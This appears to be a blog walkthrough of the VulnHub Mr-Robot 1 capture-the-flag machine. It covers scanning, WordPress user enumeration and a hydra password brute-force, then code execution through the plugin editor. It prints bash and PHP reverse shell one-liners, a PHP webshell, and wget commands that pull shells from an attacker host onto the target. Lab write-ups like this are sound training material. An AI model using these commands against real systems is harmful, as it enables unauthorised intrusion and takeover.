Are you looking for a box that’s both a light challenge and well put together? Then look no further than Mr-Robot 1 over on vulnhub. This box doesn’t provide a ton of unique challenge but it does offer 3 flags to find with varying degrees of difficulty. Let’s jump on in
Defining the Attack Surface
Starting with our port scan.
As usual I do a full port scan because I’m not concerned with detection in this scenario
nmap -p- -sC 192.168.158.201
Looks like we have a basic webserver active. When I’m doing my actual testing, I like to check both ports 80 and 443 just to make sure that there’s not hidden resources or separate web application services running. Just because both ports are open doesn’t mean they both serve the same web app. It’s trivial to point them at different things. For our purposes here though, I believe both point to the same service so I’ll just be using one.
When you open the website in the browser you get this realllllllly cool bootup sequence that leads to a prompt that you can interact with.
Next I run dir buster to see if we can find some loot sitting in the open
Something interesting that comes back is
The robots.txt file has two listings in it
Looks like we found our first key!
The second listing appears to be some type of wordlist, so I pull that down with wget
When I check to see how many lines there are in
fsocity.dic I get 858160! That’s a huge list and if I plan on using it I want it to be as fast as possible. When I checked to see if all the values were unique I quickly discovered that most of this file was duplicates.
cat fsocity.dic | sort -u | wc -l outputs 11,451 unique lines so I just redirect that into a unique wordlist and we’re good to continue
cat fsocity.dic | sort -u > unique_fs
Now that I have a little low hanging fruit in my basket, we’re going to start ramping up the scans. Next I’ll do a nikto scan
nikto -h http://192.168.158.201
Ahhh yes, the plot thickens, we have a wordpress site it appears…
It doesn’t appear there’s anything significant posted here. Let’s try running wpscan
wpscan --api-token <insert your token here, it's free> --url http://188.8.131.52/
wpscan has identified the version as 4.3.26 – with a little digging I found that this version of wordpress actually tells you when you try and log in if the user exists or not. When you get the correct username and the wrong password, the error output message changes.
Now we just need to bruteforce a username, then we can bruteforce a password
I tried a few different wordlists to no avail, so I decided to try the wordlist I pulled from the box, which I assumed was for passwords but maybe it’s for user names too.
wpscan --url http://192.168.158.201 -e u -U ./unique_fs
This gets us our username
Next we can move on to our password attack
hydra -f -t 64 -P ./unique_fs -l elloit 192.168.158.201 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
This command will check each password against the unique wordlist we pulled from the server
Just let that run for a while and eventually you’ll get back the password
So now we have our credentials!
The first thing I do when I log into the wordpress site is I head over to the plugin’s section and look for the editor
This plugin editor allows you to modify existing PHP files on the system. Super helpful when getting a reverse shell.
The very first thing I tried was starting a netcat listener on 443 getting a reverse shell with
bash -i >& /dev/tcp/192.168.158.239/443 0>&1
$sock=fsockopen("192.168.158.239",443);exec("/bin/sh -i <&3 >&3 2>&3");
but for some reason the shell wouldn’t stay open. It would close immediately and regardless what variations of these commands I used, I couldn’t get a shell. So instead, I decided to upload a basic webshell in the uploads directory.
On my attacking machine
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > /var/www/html/webshell.txt
service apache2 start
This will create a very simple webshell in our web root and also start our webserver
Now on our victim machine we need to do a couple things. First we need to figure out where we are, then we need to figure out where the uploads are, then finally we need to wget our webshell into the uploads directory.
The commands look something like this
when I navigate to
http://192.168.158.201/wp-content/plugins/hello.php I see the following output
okay now we can start walking our way into the uploads directory
echo shell_exec("ls -la /opt/bitnami/apps/wordpress/wp-content");
drwxrwxr-x 8 bitnamiftp daemon 4096 Aug 9 10:39 .
drwxr-x--- 12 bitnamiftp daemon 4096 Aug 8 16:44 ..
-rwxrwxr-x 1 bitnamiftp daemon 28 Jan 8 2012 index.php
drwxrwxr-x 3 bitnamiftp daemon 4096 Nov 13 2015 languages
drwxrwxr-x 12 bitnamiftp daemon 4096 Nov 13 2015 plugins
drwxrwxr-x 5 bitnamiftp daemon 4096 Sep 16 2015 themes
drwxr-xr-x 2 bitnamiftp bitnami 4096 Aug 9 01:18 upgrade
drwxrwxr-x 4 bitnamiftp daemon 4096 Aug 8 16:50 uploads
drwxrwxr-x 12 daemon daemon 4096 Aug 9 10:39 wptouch-data
Then we start stepping into uploads which has a 2019 directory and then into it which contains a 11 directory
echo shell_exec("ls -la /opt/bitnami/apps/wordpress/wp-content/uploads/2019/11/");
looks like we have our uploads directory! Now we can upload our webshell. I inject the following commands into the hello.php file via the plugins editor
echo shell_exec("wget http://192.168.158.239/webshell.txt -O /opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2015/11/webshell.php");
echo shell_exec("chmod 777 /opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2015/11/webshell.php");
echo shell_exec("ls -la /opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2015/11/webshell.php");
The above commands retrieve the webshell I created in my attacking machine webroot, places it in the uploads directory, changes its extension, makes it executable and then echo’s out the directory so I can verify it landed correctly.
We can try our new webshell out by navigating to
If everything works your browser should output
daemon so now we have a webshell!
Now you can do one of two things here, you can do as I did, and navigate around the system with the webshell or you can do the smart thing and skip ahead to what I eventually thought to try which is uploading the stock php reverse shell located in
/usr/share/webshells/php in your kali or parrot distro.
You can upload it using the same way as our webshell
echo shell_exec("wget http://192.168.158.239/rshell443.txt -O /opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2015/11/rshell443.php"); echo shell_exec("chmod 777 /opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2015/11/rshell443.php"); echo shell_exec("ls -la /opt/bitnami/apps/wordpress/htdocs/wp-content/uploads/2015/11/rshell443.php");
Start your listener on 443 and navigate to your webshell in the browser
Once you’re into this machine the path to root is very straight forward.
As normal I start in the home directory, which shows one user, robot. When you ls it you’ll see there’s two files. There’s a key file you can’t access and a password.raw-md5 file. You can crack this hash for free online at one of a million md5 crackers.
Once you crack the password you get
Now if you try and su to robot from here, the shell will complain about not being a tty shell
Getting a TTY shell is very easy. I usually use this cheat sheet
Now that we have the robot user we can start working on root. I like to start with
linenum.sh found here
chmod 777 LinEnum.sh
….. no ….. it can’t be that easy …. lol
… welp .. I guess it was lmao
Not a super hard box. I found getting the user name a little confusing. It was a little weird to 1. find a dictionary 2. have to use that dictionary to find both the username and password in order to access the machine you found it on … lol
Did you manage to root this box? Tell me what you thought below!